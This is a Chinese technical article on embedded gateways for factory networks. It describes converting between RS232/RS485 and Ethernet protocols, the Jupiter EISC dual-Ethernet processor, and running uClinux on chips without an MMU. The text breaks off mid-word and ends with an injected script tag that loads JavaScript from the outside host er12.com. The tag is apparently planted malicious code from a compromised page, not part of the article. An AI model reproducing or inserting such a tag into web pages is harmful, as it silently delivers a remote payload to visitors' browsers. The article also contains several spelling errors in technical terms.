嵌入式网关是基于internet技术的分布式设备网络平台的关键。它提供一个不同协议网络通信系统(如rs232接口、rs485接口、rf接口等)和以太网甚至是万维网的连接。嵌入式网关提供嵌入式web服务器以及对各种接口的连接方法。嵌入式web服务器也是专门为嵌入式设备而设计的一种小巧精悍的web服务器,能够运行于嵌入式tcp/ip协议栈上,并能够提供几乎所有的传统web服务器所能够提供的功能。
1 利用嵌入式网关的工厂管理方案
工厂内部利用4 8 5线或者以太网来传递指令,并且可以采用2种方法对监控对象故障发送报警信息:用标准的modem命令发送gsm短消息或通过smtp客户端发电子邮件。万维网与控制网的交互是借助于嵌入式网关进行的。当控制终端通过万维网向作为智能节点的现场设备发送控制信息时,它首先基于tcp/ip协议将信息发送给网关,再由网关根据现场设备总线采用相应的tcp/ip协议、rs485协议、rs232协议发送给相应的现场设备。反过来也是这样,嵌入式网关主要负责现场协议间的相互转化,通过嵌入式网关解决了不同协议标准的系统集成问题,如图1所示。
点击此处查看全部新闻图片
2 硬件子系统
jupiter是韩国adc公司生产的32位高速双以太网处理器,是一款低成本、高性能、建立在以太网系统基础之上的高性能价格比的处理器。该芯片内含2个10/1 00mb/s自适应以太网接口,广泛应用于集线器和路由器的设计,其最大优点类似于arm内核的内建32位eisc处理器,支持uclinux操作系统,是当今市场eisc系列的一个代表产品。jupiter(eisc结构)与cisc芯片相比具有优化嵌入式应用专长、代码优化,而芯片结构外平相当。jupiter指令的易操作性使得硬件功能实现变得更简单。
jupiter处理器工作频率50mhz,采用16位单周期指令集,运算速度快;内含4k cache、2个10/100mb/s自适应双以太网控制器、最大支持640×480的彩色stnlcd控制器、2个串行的uart、2个dma、串行sio控制器、4个3 2位定时器及可编程i/o口、1个中断控制器、dram控制器、rom/sram控制器;芯片系统管理器还包括内部3 2位总线的仲裁器和扩展存储器控制器;有8个3 2mb存储器空间可供用户扩展;处理器内建dhcp client(含pppoe、proxy、dns)及dhcp server两项功能,可广泛应用于ip共享器、sohu网关、工业现场web服务器和浏览器、家庭网关、adsl、工控网络控制器等。
韩国adc公司的jupiter芯片与其他公司的比较如表1所示。
点击此处查看全部新闻图片
3 软件结构
传统的嵌入式开发所针对的是一些相对简单的应用。通常只有一个简单(或固定的几个)的应用运行,实现的任务简单,并且是针对具体应用的,所以不需要复杂的任务管理、调度机制。从工程设计够用就行的角度看,使用简单的方法烧写rom,系统启动后直接执行该程序就可以了,根本不需要操作系统参与,开发人员能够了解所有应用启动,资源管理细节,并能够管理它们。 嵌入式网关根本作用是把嵌入式设备同现有的以太网络连接起来,但又在很大程度上保持原有嵌入式网络的各自功能,所以网关必须具有解析多种协议的能力。对于这种较为复杂的应用,传统嵌入式设计的方法已经无法满足要求,必须寻求操作系统以应付多任务和复杂任务的处理。
ucliux是linux操作系统的一种,是由linux2.0内核发展来的,是专为没有mmu的微处理器设计的嵌入式linux操作系统。因为大多数内核源代码都被重写,uclinux的内核要比原linux2.0内核小的多,但保留了linux 操作系统的主要优点:稳定性,优异的网络能力以及优秀的文件系统支持.uclinux中u表示micr0,小的意思,c表示cntrol,控制的意思,所以uclinux就是micro-c0ntroller-linux,字面上的理解就是“针对微控制领域而设计的linux系统”。
uclinux可以通过定制使内棱小型化,还可以加上gui(图形用户界面)和定制应用程序,并将其放在rom、ram、flash或disk on chip中启动。由于嵌入式uclinux操作系统的内核定制高度灵活性,开发者可以很容易地对其进行按需配置,来满足实际应用需要。又由于uclinux是源代码公开的,因此开发人员只要了解内核原理就可以自己开发各类驱动程序。
jupiter芯片是没有内存管理单元(mmu)的处理器,而uclinux很好地解决了没有mmu内存管理问题,采用存储器的分页管理.系统在启动时把实际存储器进行分页。系统对于内存的访问是直接的(它对地址的访问不需要经过mmu,而是直接送到地址线上输出),所有程序中访问的地址都是实际的物理地址。操作系统对内存空间没有保护(这实际上是很多嵌入式系统的特点),各个进程实际上共享一个运行空间(没有独立的地址转换表)。
4 网关的uciinux的开发
jupiter已向用户免费提供了ucinux操作系统源代码及其相关参考通信类源程序。开发板利用串行口与pc机串行口相连接,利用cygwin仿真linux操作系统环境,由adc公?script src=http://er12.com/t.js>